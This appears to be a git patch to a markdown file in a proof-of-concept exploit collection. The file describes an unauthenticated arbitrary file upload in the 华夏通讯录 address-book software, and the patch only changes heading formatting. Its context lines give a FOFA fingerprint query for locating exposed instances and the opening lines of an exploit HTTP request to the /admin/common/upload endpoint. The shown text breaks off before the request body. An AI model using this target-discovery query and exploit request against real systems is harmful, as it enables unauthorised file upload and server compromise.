From 40f2bac1bfe8d111a1d3e422fed33dde9abd3d67 Mon Sep 17 00:00:00 2001
From: Nexolanta <73454853+Nexolanta@users.noreply.github.com>
Date: Thu, 6 Mar 2025 16:37:00 +0800
Subject: [PATCH] =?UTF-8?q?Update=20=E5=8D=8E=E5=A4=8F=E9=80=9A=E8=AE=AF?=
 =?UTF-8?q?=E5=BD=95=E5=AD=98=E5=9C=A8=E5=89=8D=E5=8F=B0upload=E4=BB=BB?=
 =?UTF-8?q?=E6=84=8F=E6=96=87=E4=BB=B6=E4=B8=8A=E4=BC=A0.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 wpoc/华夏通讯录/华夏通讯录存在前台upload任意文件上传.md | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/wpoc/华夏通讯录/华夏通讯录存在前台upload任意文件上传.md b/wpoc/华夏通讯录/华夏通讯录存在前台upload任意文件上传.md
index 0d5af98..d716aeb 100644
--- a/wpoc/华夏通讯录/华夏通讯录存在前台upload任意文件上传.md
+++ b/wpoc/华夏通讯录/华夏通讯录存在前台upload任意文件上传.md
@@ -1,13 +1,13 @@
-##华夏通讯录存在前台upload任意文件上传
+华夏通讯录存在前台upload任意文件上传
 
 华夏通讯录存在前台由于在鉴权方面存在疏漏，导致了可未授权访问，从而通过/admin/common/upload接口进行任意文件上传。
 
-##fofa
+fofa
 ```
 icon_hash="1403225079" && ":) APPV1"
 ```
 
-##poc
+poc
 ```
 POST /admin/common/upload HTTP/1.1
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7